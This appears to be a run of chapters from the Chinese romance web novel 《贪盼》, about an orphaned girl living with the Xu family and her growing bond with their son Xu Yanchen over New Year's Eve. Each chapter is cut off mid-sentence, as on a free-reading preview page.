才从校长办公室出来就遇上个小哭包,许言琛低头看了眼哭得正伤心的小男孩儿,懵了。 他给人小孩儿撞哭了? “男子汉大丈夫,哭什么?我把你撞疼了?” “不、不是,不疼……” 小男生哭起来抽抽噎噎的,一时半会儿可能还停不下来,许言琛深吸一口气,既然碰上了还能不管吗? 他干脆就这样半蹲了下来,视线与人齐平。 “那为什么哭?跟哥哥说说?” 向洋第一次遇到主动跟他说话,还愿意倾听他想法的人,即使面前这个人比自己大很多,他却并不觉得害怕。 “想爸、爸……妈妈。” 许是没想到男孩会这么说,许言琛愣了一秒钟,脸上神情顿时变柔和了一点儿。 “之前有人告诉我,当一个人想念自己父母的时候,就说明他的父母也在想念着自己。” 男孩睫毛上还挂着泪珠,眼神懵懂:“真的吗?爸爸妈妈也在想念我吗?” 许言琛摸了摸他的头:“当然,没有父母会不想念自己孩子的。” 听见这样的回答,男孩瞬间笑了,原来刚刚爸爸妈妈也同样在想他。 “谢谢哥哥告诉我这些!那我以后要天天都想他们!” 看着小男孩迈着欢快步伐离开的背影,许言琛慢慢直起身,眼神中充满了疼惜。 有了信仰的话,会活得更轻松些吧。 就像他一样。 “真是您啊许先生!您今天怎么来这么早?老村长知道您来了吗?最近他总念叨着您,我现在就打电话告诉他一声!”一个女老师经过,看见教室外熟悉的身影忍不住惊呼。 在这个地方,没有人不认识许言琛这个人的,就算是校长见了他,也得毕恭毕敬。 倒不是因为他的身份,而是他是救华村于水火的人。 且不说阳光小学的修缮,就是整个华村能有今天这个样子,都多亏了许言琛一个人的全力相助,不仅斥资金改善居住环境,连开荒地这种事情他都是亲力亲为,深得华村人心。 许言琛从刚才发生的事情中抽回神来,转头拒绝她:“不用,我马上就去找他。” 他是真的要去找村长一趟,有些事情想同村委会商量一下再做决定。 一路上遇见的大多都是一些孱弱的老人,大家看见他都笑眯眯的点头示好,还未上学的小孩儿也被教着喊人,华村就是这样,留一些老人和小孩守着村子。 不远处突然出现一道极速奔走的身影,那人一定眼看见他像是看见了希望,直冲冲地就奔着许言琛跑来。 寻找救兵这一路方琳快被累死了,她终究是高估了自己,村里有力气的都不在家里,也不知道去哪儿了,遇见的都是些拄着拐的婆婆。 也许是老天看不下去了,现在终于是让她在一个坡下面看见了能求助的人。 隔得远没看清男人的长相,只觉得他往那儿一站个子蛮高,身姿又挺拔,不比李泉那种细骨头,一看就是靠得住的人。 直到跑到人跟前,方琳才发现,哪止是身姿出众,这长相更是堪称绝啊! 村里什么时候有这种男人了? 要不是没忘记自己是来干什么的,她肯定哈喇子都流地上了。 “帅哥你好!可以帮个忙吗?我是从锦州人民医院来华村义诊的医生,我同事在小路那边不小心摔倒崴了脚,能麻烦你帮忙背她去一下镇上的卫生所吗?” 熟悉的医院名字让男人顿了会儿。 他差点忘了,医院义诊的人也已经到了。 许言琛瞟了瞟附近,除了他以外,一时半会儿是找不到其他人帮忙了,看着面前人焦急的样子,想了想,还是先救人要紧。 他朝人点了点头,声线平缓:“可以,你带路吧。” —— “李医生,崴到脚也会发晕吗?” 不知道为什么,姜绵觉得此刻脑子有点昏沉沉的,总想闭眼睡过去。 “一般来说是不会的,姜医生你现在头晕吗?” 6. 初见 《贪盼》全本免费阅读 2015年的冬天,格外难熬。 天空始终是灰蒙蒙的一片,街上没有雪,但寒风灌脖,阴冷入骨。 再过几天就是除夕了,到处都是喜气洋洋的模样,树上挂满了彩色的装饰灯,一闪一闪的,晃得人眼睛酸涩。 这是另一片新天地,姜绵从未见过。 离开了生活16年的小镇,孤身一人来到陌生的地方,她歪头靠着车窗,随五光十色划过脸庞,不留一点痕迹。 一个城市原来有这么多街道,多到转过几个弯又见别样,人们给它们取不一样的名字,听起来富有诗意又充满了生气,就像这里的生活。 她弄不清这么复杂的东西,任由司机带着四处穿梭。 除了那个地方的名字,连姜绵自己都不知道她将要去的是哪儿。 耳边仿佛还回响着妈妈的嘱咐,那双温热的手紧紧拉过她的手腕,满脸疲态看着她,颤颤巍巍地将枕头下的信递了过来,开口声音干涩又粗哑。 这也是她最后一次听到妈妈的声音。 从那以后,她孑然一身,无所依靠,注定成为这世上的万千浮萍。 “姑娘,到地方了。” 思绪骤然被打断,姜绵回过神,看了眼计价表上的数字,将手里捏了好久的零钱递了过去。 “谢谢师傅。” 还好没有超预算,姜绵松了口气,抱紧怀里的书包,打开车门下了车。 从后备箱取出行李,看着出租车一骑绝尘地消失在眼前,姜绵这才认真打量起自己所在的位置。 不比刚才经过的那些地方热闹繁华,这里在傍晚显得太过安静。 一条街边坐落着一整列小洋房,姜绵注意到面前不远处的独栋,门牌上几个字反着光: 锦绣路1-5号。 与她记了许久的地址完美贴合。 “应该就是这儿了。”姜绵小声对自己说。 路灯下,她的影子被拉长,一直蔓延到面前的围墙上,姜绵抬头,看见了从围墙上方的栏杆里,一簇簇探出头来的绿植,疏疏密密地绕了四周一大圈。 里面仿佛是一个巨大的花园,就像她从前在童话书上看过的那种,还要更好看。 收回欣赏的目光,姜绵将书包背在身后,拉起行李箱往前迈了几步,深呼了一口气,伸手叩响了大门。 “咚咚咚。” 不轻不重,就三声,随后便收回手紧紧攥着两侧的书包带子,站得笔直。 很快里面便传来了由远到近的脚步声。 “来了来了!大晚上的谁啊?” 门后响起开锁的声音,没过多久里面的人便拉开了门,姜绵抬头对上了一道疑惑的目光。 只见屋内的女人皱眉上下打量了她一番,在看到她手边提着的行李箱时,瞬间反应了过来。 “你是姜绵对吧?” 手心微微出了点汗,姜绵没说话,只是点了点头。 见人肯定,女人侧身空了点位置让她进来,随即关上了门,转身越过她往前边走边说: “还以为你得过几天才来呢,不过房间什么的已经给你收拾得差不多了,二楼上去最右边那一间就是你的,还有什么差的可以给我说。” 姜绵悄悄扫了一眼四周,果然如她想的一般,里面栽满了花花草草,即使冬天没开些什么花,绿油油的一片看上去也是美极了。 不过现在显然不是欣赏这些的时候,姜绵提起行李箱跟了上去,柔声解释道: “谢谢阿姨,本来是没打算来这么早,可是姑姑突然有事要出远门,她担心我一个人在家,所以就让我提前几天过来了,姑姑说她跟你们说了的。” “是吗?”客厅里的女人顿住脚步,几秒后轻笑了声,陷坐进身后的沙发,慵懒回应,“应该是跟我老公说的吧?看他忙得连这事儿都忘了告诉我一声。” 不同于花园里的清新雅致,屋内的装修奢靡贵气,几米高的水晶灯吊在屋顶闪烁,电视里放着一部有些年头的外国电影,沙发上的人拿起茶几上的红酒杯抿了一口,便不再管她。 空气中弥漫着一种尴尬的氛围,不知为何,姜绵总觉得哪儿有些怪怪的,但又说不出具体来,只能朝人礼貌道: “阿姨,那我先上楼收拾房间了。” 沙发上的人眼皮都没掀一下,淡淡应道:“去吧。” 提着行李箱走到二楼,姜绵才发觉有些热,屋里的温度似乎并不像外边一样阴冷,身上的棉服似乎有些多余了。 原来真的有人在冬天不用围着炭火转,也能感受到温暖。 冬天原来,没有那么难熬。 —— 房间被收拾得干净又漂亮,被套和墙壁都是淡淡的鹅黄色,一踏进里面就能闻到一股馨香,不同于她以往在学校里闻到的劣质香水,这种味道钻进鼻尖里,让人莫名心安。 里面确实已经被收拾得差不多了,姜绵打开行李箱,把里面的衣服清理出来,再一件件整整齐齐地挂进了衣柜里。 坐在床上,看着周围陌生又美好的一切,曾几何时,这是她梦中幻想过无数次的场景,然而当真实感受到,内心却感觉怅然若失。 也许是因为,梦里的自己无论在哪儿,总有永远爱她的那两个人陪伴,不会像现在这样,徒留她一个人在这个地方流浪。 姜绵苦涩地扯了扯嘴角,打开怀里的书包,从靠里面最隐蔽的一格拿出了一个牛皮纸信封。 已经没有刚拿到手中的温热了,反复摩挲也只是一片冰凉,里面的东西她只看过一遍,便再也不敢打开。 那些没来得及说出的话,和没来得及表达的感情,就都封存在里面,陪伴她度过这岁岁年年吧。 “爸爸,妈妈,我好想你们。” 眼泪顺着脸颊滑落,浸湿了信封的一个小角。 只是这样,便像是稀世珍宝受到损坏般,姜绵慌忙擦干了脸上的泪水,将东西小心翼翼地放回原位。 楼下传来了一点儿声响,像是关门声,姜绵从床上起身,紧张的捏了捏手指,没猜错的话应该是叔叔回来了,回想最近发生的一些事,再怎么样她也该去打声招呼吧? 许国安刚进门就察觉家里的氛围不对劲,这个时间点,原本该睡觉的女人却靠在沙发上看电视,听见他开门的声音也没有一点儿反应,反而一口闷了酒杯里的液体。 “今天怎么这么晚了还没睡?” 他将臂弯里的西装顺手丢在沙发扶手上,紧挨着人坐了下来。 孟虹现在正生着闷气儿,抬脚往一边挪了挪,与男人拉开了距离,开口就是嘲讽: “怎么?怕我发现你跟别的女人出去喝酒鬼混了?” 许国安皱了皱眉,不知道她这又是突然发什么脾气,刚想伸手揽过人安慰时,一抬眼却看见了楼上的女孩儿,猛的站起身。 姜绵本来只是想出来打个招呼,没想打搅了两人的相处,反应过来后本尴尬地想离开,没想到许国安张口却喊住了她。 “姜绵!你是姜绵吧!?” 行吧,事到如此也只能坦然面对了。 姜绵顺着楼梯走下楼,来到两人面前,笑着朝人鞠了个躬。 许国安笑了笑,看着面前的女孩儿温柔地说:“你还记得我吗?” 记得,姜绵不会忘记,自己曾在妈妈的葬礼上看见过他。 在一群虚情假意的亲戚中,这位陌生的男人看着遗像里的女人,显得格外悲切。 那之后她哭肿了眼睛,坐在门槛上想喘口气,却只能感觉到山崩地裂。 他停在自己的面前,说出了他的名字,与妈妈告诉她要等的那个人名字一模一样。 那天姜绵抬头,看见的是一个神似爸爸的中年男人,不参半分虚假的眼神紧盯着她,说要带她离开。 然后,她现在果然是离开了那个地方,那个让她一边作呕一边怀念的地方。 “许叔叔好,谢谢您收留我。” 感谢的话说得掷地有声,许国安笑着摆手:“别谢,你妈妈嘱托的事我怎么也要办到。” “她那么好一个人,可惜……哎!不说这个,房间看了吗?还喜欢吗?有什么问题你就跟我说。” “没问题,房间我很 7. 除夕 《贪盼》全本免费阅读 寄人篱下的滋味并不好受。 那天见到许国安没多久后,姜绵就从姑姑那儿得知了自己转学的事情。 转学不是一件容易的事,更何况是从镇中转到市里排名第一的锦一中,跨度之大让她一时间难以置信。 可妈妈的信和那份盖满章的申请表无一不印证着,这也代表着她要离开从小生活的地方,独自一人到锦州求学。 她就这样稀里糊涂的住进了许家,太多乱七八糟的事情堆积在一块儿,看不清理不顺。 毫无意外,在来锦州的第一晚,姜绵失眠了。 几乎是睁着眼到天亮,看清了昼夜的变化,外面刚有一点儿动静,姜绵就迫不及待地起床洗漱,假装刚醒睡眼朦胧地走下楼。 在厨房正准备做早饭的许国安看见她很是惊讶: “怎么起这么早?昨天坐了那么久的车,应该多睡一会儿的,是不是还没习惯?” 姜绵赶忙摇头:“没有的,我在家也是这个时间点起来,睡太晚反而会不习惯。” “一天之计在于晨,这个习惯好。”许国安朗声笑道,“什么时候让我家那个臭小子来学学,一放假日上三竿都不见他起。” 许叔叔的儿子,应该就是昨天晚上撞见的那个男生吧,想到某些画面,姜绵忍不住想笑。 大半夜了顶着个还在滴水的头发在楼下找水喝,白天能起来才怪。 “也好,以后有人陪我吃早饭了,我这厨艺正无处施展呢,今天你就当第一个客人,来尝尝许叔叔的手艺如何。” “这不好吧许叔叔,还是我来做,或者让我打打下手也行。”姜绵受宠若惊,连忙摆手拒绝。 不管她再怎么说,许国安都仿佛没听见般,直接把人赶出了厨房。 姜绵还想再挣扎一下:“许叔叔,其实我厨艺还行的。” “就算你是米其林五星大厨也不行,在这个家里啊,你们这些小辈还没有掌勺的资格。” 说完他转身走进厨房,从冰箱里拿出备菜,认真捣鼓起来。 这个画面是那样的熟悉,熟悉到让她有一瞬间产生了错觉,回过神来后,姜绵苦涩地扯了扯嘴角。 这一刻,她说不上是暖心多一些,还是难过多一点。 恰时,二楼传来了脚步声。 传说中太阳晒屁股都不起的人,今天竟然破天荒起了个早床,顶着一头稍显凌乱的短发,大大方方地坐到了她餐桌的对面。 与昨晚相同,他好像对周围有哪些人并不感兴趣,从头到尾一直翘着腿,懒散地靠在椅背上盯着手机看,修长的手指时不时在屏幕上快速按动几下,应该是在跟谁发信息。 餐厅随着他的到来变得鸦雀无声,氛围也瞬间降到零下。 好一会儿,姜绵才抬眸悄悄打量起他。 冷峻。 这是她能想到的,唯一一个贴合男生气质的形容。 昨夜光线较暗,姜绵没来得及仔细看清他的模样,直到现在在自然光照下,才发现少年的五官完美到挑不出一点瑕疵。 在黑色卫衣的衬托下,他的皮肤显得格外白皙,额前的碎发时不时轻扫过他长而浓密的睫毛,垂眸时盖下一片阴影,在深邃的眼睛下,鼻子生得既高挺又秀气。 对面不知道发了什么,只见少年看着亮起的手机屏幕,缓缓勾了勾嘴角。 她从未见过这般长相的人,一时间愣了神。 姜绵的视线不加掩饰太过直白,落在人身上不知停留了多久,桌子那头的人终于被看得不耐烦,抬眸直愣愣对上了她的眼睛。 然后又趁着她还没反应过来,呆愣住的时候,对她挑了挑眉。 思绪在这一刻回笼,姜绵慌乱瞥开眼睛,偷看人被抓了个正着,脸颊顿时就泛起温热。 一瞬间,异样的氛围在四周打转,好在对面的人没打算让她难堪太久,没一会儿就又把视线放回了手机上。 厨房的门就在这时候被打开,许国安端着两碗面条走了出来,在看见餐桌边上坐着的男生时明显愣了一下。 “哟?今天这是怎么回事,太阳打西边出来了?” 男生头也没抬,漫不经心的应了声。 手里只有两碗面,许国安走上前,一碗面轻放到姜绵面前,另一碗推到了男生面前。 玩手机的人终于有了反应,他抬眸扫了一眼又继续埋下了头: “不吃,没胃口。” 许国安没管他,端回面在人旁边坐了下来,白了他一眼,没好气吐槽道: “不吃你跑饭桌上坐着。” 男生应该是发完了信息,收起手机揣进了兜里,闻言呵笑一声:“我来闻闻味儿都不行?” 只是简简单单的对话,姜绵听了却感觉心头有些堵,低头小口吃起了面,掩盖住自己的情绪。 动静不算大,但也引起了两人的注意,许国安反应过来,赶忙转换话题介绍起人来。 “正好你们俩打上照面了,我介绍一下,这位就是之前我说的老朋友的女儿,搬来我们家住段时间,叫姜绵,下学期开始跟你一个班,你小子以后在学校多照顾点妹妹,听到没有?” “妹妹?” 男生轻笑了声,姜绵心尖一抖,颤着睫毛抬眸对上了他略带些玩味的眼神。 “妹妹好,我叫许言琛,以后在学校哥带着你玩儿呗?” 他把妹妹两个字咬得极重,即便是脸上挂着笑,姜绵却在他的眼中看不见半分笑意,一时间抿紧了唇,不知如何应答。 许国安看见他这幅吊儿郎当的样子就心烦,一听他说出来的话,整个人火气瞬间上来了,抬起巴掌就想往人的背上拍。 “你自己爱怎样就怎样,少来当厌恶头子带坏别人!” 这一巴掌看起来力度并不小,许言琛像是早就预料到般,直接起身闪躲了过去。 长舒一口气,他拍了拍衣服就准备离开。 “不说了,走了。”他懒得在这里虚情假意。 “你又走哪儿去?昨天那么晚才回家,你妈气得不行,要是等会儿起来看见你又不在,你后面就自求多福吧!” “她生的怕不是我的气吧。”许言琛一语道破,她要是真的生自己的气也就好了,可惜了,她连管都不想管他,更别提在他身上浪费情绪了。 说完也不顾人脸色变得有多臭,转身摆了摆手,潇洒离开了这里。 一踏出大门,刚刚看起来没个正形的人瞬间变了个样,嘴角耷拉下来,面色此时阴沉得可怖。 生性多疑的妈,装傻充愣的爸,现在又突然多了个不知道哪儿来的哑巴妹妹,这个家真是越来越有趣了。 一阵寒风吹过,许言琛眯了眯眼,加快了步伐。 不知怎的突然想到了那个连偷看都没学会的人,嘴角微不可查地扬了扬,她看上去不仅不会说话,脑子怎么好像也不大聪明。 从人离开后,客厅的氛围就变得很凝重。 姜绵看了眼脸色差到极致的许国安,犹豫再三还是开口调节起了氛围: “许叔叔,你别生气,可能许……哥哥他有事情要忙。” 听她这么说,许国安的脸色总算缓和了些。 “他能有什么事忙,天天出去鬼混,你以后在学校里别搭理他这个混小子,别被他给带偏。” 想起刚刚那人不正经的样子,姜绵若有所思,柔声应了下来。 她跟许言琛明显不是一路人,只要自己不去招惹他,以后在学校多半是不会产生什么交集。 “要是生个女儿该多好,起码还会体谅人,生个臭小子只会来气我!以前还好好的,也不知道怎么突然间就成了这幅模样,哎!不说了,吃面吧,再不吃就坨了。” 本来好好的一顿早饭,现在搞得人难以下咽,饭桌上除了吸食声再无其他,姜绵硬着头皮咽下最后一口,起身打个招呼打算离开。 “许叔叔,我吃好了,您慢慢吃,我就先回房间了。” 才刚踏出一步,身后的人就叫住了她。 “等一下,小姜。” “怎么了,许叔叔。”她有些疑惑地回头。 许国安放下筷子,擦了擦嘴,看着她一脸认真的说: “没几天 8. 眼泪 《贪盼》全本免费阅读 自从那天过后,姜绵在家里再没碰见过许言琛。 要不是她曾在深夜里听见过他上楼的声音,否则姜绵真的会误以为他是离家出走了。 奇怪的是,这个家的人好像早就习以为常,就算一整天没看见他的身影也并不关心,甚至都没听他们提起过他的名字,仿佛他并不存在般。 纵使姜绵有再多不解,可她如今连自己都顾不过来,又哪儿来的精力再去管其他人的事,渐渐的她对这个家的相处模式习以为常。 白天一般都是她一个人在家里,许叔叔一早就去了公司,过不了多久孟阿姨也会出门,到下午时才会提着一大堆东西回来。 知道她不喜欢自己,姜绵也会避免在她眼前晃悠,提前算好时间窝在房间里降低存在感。 这样的生活一直延续到除夕当天。 不比以往的安静,这天姜绵还未起床就听见门外吵闹的声音,迷迷糊糊地从床上爬起来看了眼床头的闹钟,也不算太早,已经快九点了,收拾一会儿她也该出门了。 “这件怎么样?会不会太显老了?” 许国安坐在沙发上抬头看了一眼,“不老,挺适合的。” “不行,我还是感觉上一件好看些,我得再去试试。” 看着人不知道第几次跑回房间,许国安叹了口气,低头继续处理起手头上的工作。 没多久,孟虹穿着新换的一套衣服小跑出来。 “这个呢?是不是比刚刚那几件好些?” “好看。” “行,这个当备选,我还有几件没试呢。” 本来以为差不多了,听她这样说,沙发上的男人终于忍无可忍:“就是吃个饭而已,没必要搞得这么隆重。” “也是,毕竟我人老珠黄,哪里比得过你公司的那些年轻女职员。” 许国安皱了皱眉:“你知道我不是这个意思。” 孟虹没接他的话,面色有些难看地转身回了房间。 姜绵就站在楼上看见了全过程,有时候她觉得自己的运气是真的好,偏偏总能碰上这种事儿,只能硬着头皮下楼假装什么也没发生。 “小姜啊,是不是又吵醒你了。” 姜绵摇了摇头,坐到沙发另一端:“时间不早了,我也该起了。” “诶,对了。”许国安突然想起她前几天说的话,“我和你孟阿姨今天应该回来得晚,等会儿出门一定要注意安全。” “好。” “还有。”沙发上的男人沉吟了一下,“记得帮我带声好。” 姜绵愣了一下。 “好。” 卧室里孟虹总算是收拾好了,提着小皮包优雅走出来时,看见突然出现在沙发上的女孩,不易察觉地皱了皱眉。 “走吧老公。” 她刻意走上前挽住男人的胳膊,动作亲昵地往他身上凑近。 “对了老公,言琛去哪儿了?今天这么重要的日子,你别忘了叫上他。” “给他打电话说了,让他晚上早点去。”面对女人突如其来的靠近,许国安也没拒绝,起身握住她的手。 “时间差不多了,走吧。” 姜绵也跟着起身,注视着两人离开的身影。 整栋房子在一道厚重的关门声后,彻底寂静下来。 姜绵整个人放松了些,转身回楼上收拾了一会儿,卡在11点之前出了门。 今日外面街上也格外热闹。 到处都播放着喜气洋洋的歌曲,商铺外面挤满了人,街边手写对联的摊子更是被围得水泄不通。 姜绵好久没有感受到这种热闹的氛围,置身在此,她有一瞬间忘记了那些伤痛,仿佛自己也是众多幸福家庭中的一员。 脚步不由得放慢了些,驻足街中,在人群里流连忘返,她有些贪恋这种感觉。 在并不熟悉的城市里,想去某个地方只能依靠着导航,但行差踏错之间,偶尔也会迷失在小巷中。 “婆婆,请问安慧墓园离这儿还远吗?” 正准备提着东西上楼的人停下脚步,转头看着她上下打量了几眼,随后指了指前方,“不远了,你沿着这条路走到尽头,再左转走几步就能看见。” “好,谢谢婆婆。”姜绵对人笑了笑,关掉了手机导航,想要继续往前走。 “等一下小姑娘!” 身侧的手腕突然被人拉住,紧接着一个东西被塞进手中。 姜绵低下头看了一眼,再抬头时脸上充满了难以置信。 婆婆只是笑着拍了拍她的手:“大过年的吃个苹果,寓意着下一年也要平平安安。” 视线渐渐开始模糊,她用力握了握手里红彤彤的苹果,再开口时声音很轻: “谢谢。” 收下这份陌生的善意,姜绵的内心好像被填实了一点儿。 这个墓园她是第三次来,之前都是跟着姑姑他们一起,唯独这一次她是孤身前来。 今天来扫墓的人并不多,里面格外安静,只能听见清脆的鸟鸣。 穿过一众墓碑,走到某一处时她停了下来,看着碑上熟悉的名字,姜绵俯身擦去上面沾染的薄灰,将手中的两朵白菊轻放在碑前。 做完这一切后,她就这样蹲了下来,抬眸静静地看着上面刻的字,眼里看不出任何情绪。 良久,她笑了笑,开始柔声讲述着这几天发生的事。 就像之前最平凡的一个午后,她们一家围坐在院子里,听着外面猫咪打架的声音,也听她滔滔不绝讲着学校里的趣事。 那时候,每个人脸上都挂着笑容,妈妈会一边温柔的笑着一边用蒲扇给她扇风,爸爸会把切好的西瓜递到她手里,笑着让她慢些讲。 “我过得很好,就在刚刚我才发觉,你们离开后,生活好像也没有那么糟糕。” “你们呢?后悔丢下我了吗?” 静默片刻后,似有风起,轻拂过她的身躯,揉乱了她的头发。 姜绵伸出手,闭了闭眼,眼尾滚出一滴泪。 —— 酒店高层。 豪华包间内几乎坐满了人,桌上菜已经上得差不多了,可好像没有谁在意,只是都把目光放在最中间的两个人身上,不断找着话题。 “说真的,我好久没见着姐夫了,前不久我家里设宴都没见姐夫来。” “前段时间有些忙,实在抽不出身,抱歉。”许国安略带歉意地对说这话的人笑了笑。 “可不嘛,许总是大忙人,我听说东湖那个项目现在就是许总在做。” “真的假的?那个项目可不是一般的大啊,要是成了得赚不少吧?” 众人你看我我看你,各自都揣着明白装糊涂。 许国安也不言,镜片后的眸光暗了一下,端起桌上的红酒抿了一口。 “等了这么久,大家应该饿了吧,先吃饭,菜都快凉了。”孟虹眼见形势不对劲,赶忙出口打岔。 看出男人脸色不对,其余人也都有眼力见的打起了圆场,没一会儿就转移了话题,边吃饭边聊起了家常。 房间的大门突然从外面被打开,吸引了所有人的注意,众人都齐刷刷地往门口望去。 “不好意思,来晚了。” 迎着几十道目光,许言琛懒洋洋地弯了弯腰,往前走几步随便挑了个空位置坐了下来。 他这一出现瞬间吸引了所有火力,谁都知道许家少爷自从上了高中后就性情大变,从别人家的孩子变成了要让自己家孩子远离的人。 “言琛,进来了也不知道叫人!”孟虹看着他这个样子没好气的说, 许言琛抬眸淡淡扫了一眼,没说话。 又是这种眼神,看他时仿佛是在看什么脏东西。 “没事没事,小孩子都这样,来了就行,我家那个让他来都不来,非要待在家里,说是要先预习下学期的内容。” “那你家孩子还挺有自制力的,成绩应该很好吧?我记得他是在景阳中学对吧,怎么没去锦一中啊?” 本想炫 9. 烟花 《贪盼》全本免费阅读 不似白天那么繁华热闹,入了夜的锦州城街道显得有几分冷清。 大多商铺在这个时间段都已经关了门,只有一些小摊贩沿着路边摆得零零散散的,时不时有小孩儿上去光顾,买一盒摔炮拿出扔在脚边,让它在欢声笑语中炸开。 北京时间9点25分。 抬头就能看见一片黄澄澄的孔明灯。 姜绵拢了拢脖子上的围巾,亦步亦趋地跟在单手插着兜的男生身后,时不时抬眼打量起他的高大身形。 当许言琛问出那句话的时候,不知道为什么,她鬼使神差就点了头,等她反应过来的时候,事情已经发展成了现在这个局面。 她变得像个小跟班似的跟在人后面。 “嘶~” 一阵冷风袭来,让姜绵忍不住瑟缩了一下,锦州一到夜晚温度直线下降,她出门的时候穿着的依旧是白天那一身,在此时显得有些单薄。 她低下头,将整张脸几乎都快埋进了围巾里,没注意到前面的人已经停下了脚步,就这样直愣愣地撞了上去。 “欸——” 突然拉进的距离让姜绵撤脚往后退了一点,一双明亮的眼睛写满疑惑地看向面前的男生。 许言琛转过身,低眸看了她一眼,从臂弯中拿出一件外套朝她递了过去。 “喏,穿上。” 本来姜绵还疑惑他为什么会带这么多件衣服出来,现在总算是明白些,不过这些看上去好像都是另外给人准备的吧? 看了眼递到眼前的黑色羽绒服外套,姜绵犹豫了一会儿才抬头看着他支吾着说:“谢谢,不、不用了。” 许言琛挑了挑眉,原来会说话啊,就是有点结巴。 不过,他递出去了的东西还没有被拒收的先例。 “你是我带出来的,转头感冒了我不就成了罪魁祸首?”手中的衣服没有丝毫要收回的意思,反而更加往前凑了凑。 “穿着。” 男生的语气不容置喙。 “好、好吧,谢谢。” 姜绵双手接过,抿了抿唇,今天这个嘴也不知道怎么回事,说话总是磕磕绊绊的。 手中一空,许言琛看了眼乖乖穿上衣服的女孩,浅勾了一下嘴角,转过身走得缓慢。 “跟紧点儿,人多。” “嗯。” 男生的衣服宽大,姜绵的整个上半身都被笼罩在里面,看起来有点滑稽,但暖意很快传遍全身,让她忍不住把脸埋进衣领里,满足得深吸一口气。 淡淡的柑橘味钻入鼻腔。 她在第一次见许言琛的那天晚上也闻到过,是他身上的味道。 “好香啊。” 心里的话不知怎么从口里说了出来,姜绵赶忙闭紧了嘴。 走在前面的男生顿住脚步,显然是听见了。 今天这嘴像是被下了咒,总是不听使唤,脸颊两侧已悄然染上绯色,姜绵咬了咬嘴角,他不会以为自己是变态吧? “我……” “你在这儿等一会儿,别乱跑。” 还没等她反应过来,跟前的人丢下这一句话就消失在了视线里。 这下姜绵是真的懵了,许言琛不会真把她当成女流氓,找了个借口把她一个人丢在这儿了吧? 身边来来往往都是结伴的人群,时间一分一秒地过去,她站在一旁显得手足无措,只能低着头看着自己的脚尖,在心里默念希望许言琛能快点回来。 身前的光线骤然暗了下来,她还没来得及抬头,就被递到眼前的塑料口袋抢占了视线。 “拿着。” 熟悉的声音落入耳中,姜绵悄无声息地松了一口气,伸手接过了东西。 拿到手中时她愣了一秒,里面怎么是热乎乎的? 她抬头盯着许言琛的眼睛,不解道:“这是?” “解馋的。” 果然,没一会儿她就闻到了从里面飘出来的丝丝香气。 所以,他是以为自己说的香是当时街边小摊上的食物香吗? 姜绵忍俊不禁,“谢谢!” 少女的笑声如银铃般悦耳动听,在彩灯的映射下整个人明媚耀眼,许言琛有一瞬间的恍神,这还是第一次见她笑。 比刚刚哭丧着脸好看多了,他想。 “走?”他朝人侧了侧头。 原本埋藏在心底的阴霾消散不见,姜绵笑着甜甜应答:“嗯!” 还挺好哄。 许言琛背过身,嘴角缓缓上扬。 —— 离整点越来越近,聚在江边等着跨年的人也越来越多。 程渡蹲在岸边的石岩上,时不时抬头看向远处,望眼欲穿。 手边的石头都快被摆完了,他抬手将摆好的图形揉乱。 “许哥怎么还不来啊?” “诶诶诶!那是不是许哥?”蹲在一旁的张滔用手肘撞了撞他,激动地指着前方。 “不可能,你什么时候见许哥身边跟着过姑娘?”程渡言之凿凿,只抬头瞥了一眼,便又低下头用树枝捣鼓着石块。 “说得也是。” 两人叹了口气,又继续百无聊赖地玩儿着手边的小玩意儿。 直到各挨了一脚,两人一脸不满地抬起头,看到眼前的人同时惊讶起身。 “许哥!!!” “许哥!你终于来了!” “我就说刚刚那个人是许哥吧!我一看那身姿,那气质,除了许哥找不出第二个人了!” 耳边瞬间就聒噪了起来,许言琛把手里的东西给扔了过去,笑骂道:“少贫。” 穿上衣服后瞬间暖和了许多,这江边的风实在是太大了,差点把他们人给吹傻。 “搁平时我也能认出来,谁让今天许哥身边多了个姑……” 不对,姑娘??? 两人瞬间反应了过来,猛的抬头看向许言琛身边站着的陌生女孩。 两道打量的目光在身上流连,姜绵怯生生地朝人招了招手,笑得勉强。 也没告诉她还有其他人啊。 “我去!许哥你太不厚道了。” “就是,带妹子来也不告诉我们一声,我都没展现我最帅的一面。” 许言琛没接话,就这样抄着手看着他们。 “不会是女朋友吧!?”程渡像发现什么不得了的事情一样,惊呼道。 这是怎么得出结论的,姜绵被呛了一下,连忙摆手解释:“不是,我不是……” “放心,这事儿我们不会告诉其他人的,我还从来没见许哥跟哪个女生走这么近过,有种欣慰感是怎么回事。”说罢他们就装模装样地开始擦起了眼泪。 听他们在这儿胡说八道,姜绵脸都快急红了。 “我真的不是……” 许言琛瞥了一眼身旁慌乱的女孩儿,嘴角漾起浅浅的弧度,不咸不淡地开口替她解围: “你们两个,差不多得了,别吓到我妹妹。” 闻言姜绵抬眸恶狠狠地剜了他一眼。 看她出丑就算了,还笑她,她就不该跟许言琛出来,怎么就忘记他是个不折不扣的混小子了呢? 可她这幅模样在许言琛眼中,跟受了惊的猫别无二样,完全没有杀伤力。 一听见妹妹两个字,程渡和张滔瞬间换了个样儿,双手合十朝人道了个歉:“不好意思啊妹妹,我们耍混你别放在心上。” “没关系。”姜绵笑得咬牙切齿,下次别再犯就行了。 耳边有烟花陆陆续续炸开,许言琛半眯眼眸,“你们说的好看得要死的烟花呢?” 张滔指了指不远处的空地,带着人往前走:“都在那边呢,这次这个绝对惊艳四方。” 走近了姜绵才发现他们带的装备是真的多,零零散散的摆了一整地,除了一个巨大的礼炮,剩的都是些威力不小的炮仗。 嘴角抽了抽,姜绵扶额,也太硬核了,一点美感也没有。 “小心啊妹妹,这个威力可老大了。”张滔拿出一根巨型冲天炮插在土里,作势要点燃。 “等等!”她之前玩过小支的都响得不得了,更别提这种大型的。 等捂住耳朵跑远了些,她才放声喊道:“可以了!” “好,你们都躲着点。” “你快些吧,不行让我来!”程渡看他磨磨唧唧的就烦。 许言琛双手插着兜,弯唇往后退了几步。 “点燃了!跑!” 刹那间所有人都转身往后面跑,姜绵惊呼了一声,小跑着跟在他们身后。 “砰!” 炮仗在半空中炸开,巨大的回声在空气中回响,姜绵感觉耳朵快都要震聋了。 倒是程渡和张滔在一旁兴奋得不行,又准备上前紧接着放第二个。 刚准备跟上去,突然被人拉住胳膊拽了回来。 姜绵转头对上一双漆黑幽亮的眼睛。 “你就坐这儿,一样能看 10. 插班 《贪盼》全本免费阅读 坐在江边看尽繁花,直到人群渐渐消散,短暂的热闹终归是趋于了平静。 江水拍击着石面的声音平缓而又有力。 但却又莫名有点催眠。 